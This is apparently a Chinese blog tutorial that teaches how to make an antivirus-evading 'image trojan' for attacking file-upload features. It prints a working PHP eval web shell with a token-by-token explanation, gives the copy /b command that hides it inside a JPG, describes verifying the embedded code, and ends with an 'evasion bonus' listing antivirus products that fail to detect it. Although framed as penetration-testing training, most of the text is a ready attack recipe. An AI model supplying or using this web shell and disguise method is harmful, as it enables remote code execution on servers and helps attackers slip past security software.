文件上传漏洞作为常规渗透测试工作不可或缺一类漏洞,经常需要使用到一种重要的测试工具——图片马,下面陈老师来教各位童鞋怎样制作一枚免杀的图片马。
第一步 准备一张图片+一句话木马
把图片文件命名为demo.jpg
把一句话木马文件命名为yjh.php(根据不同的开发语言,有不同类型的一句话木马,这里以PHP语言为例子
这里需要强调一下开发语言规范性,一句话木马代码:<?php @eval($_POST['caidao']);?>
<?php:PHP程序启动
?>:PHP程序闭合
@eval:eval函数,函数即方法,在编程规范里面,方法名是必须用小写表示的,这里注意一定要小写!
$_POST:在PHP语言中,前面有$符号,表示这是一个变量,$_POST要看成一个固定搭配,这里注意POST一定要大写!
'caidao':参数名称,可以填写任意英文字符,这里注意一定要加上引号!
第二步 合成
用快捷键“win+R”打开cmd,先进入到先前准备好的两个文件的存放路径,然后敲命令行:copy demo.jpg/b + yjh.php tpm.jpg
这句命令有很强的顺序规范性,否则执行不成功,必须要注意以下两点:1,图片文件名称一定要先敲,代码文件名称一定要放后面;2.图片文件名称一定接“/b”,“/b”代表这是一个二进制文件。
OK,敲完命令后,我们会看到原路径下多了一个合成后的图片文件
第三步 验证
先打开图片查看是否正常显示
然后用十六进制编辑软件winhex来打开合成后的tpm.jpg文件
从截图可以看到,一句话木马已经内嵌在里面了
嫌麻烦的话,这里也可以直接用notepad++打开验证
至此,一枚完美的图片马制作成功啦!!!
隐藏福利——免杀
将制作成功的图片马放到virscan上面跑一下,你会发现国内一众知名杀毒软件包括360/瑞星/金山毒霸等等的病毒库都没有能够识别出木马病毒,企业常用的主机杀软——趋势科技也未能幸免,反倒是美国加州的一款老牌杀软Fortinet(国内译:飞塔)仍可以识别出来。
再单独测试一下安全研究员的标配——火绒,测试结果依然是凉凉。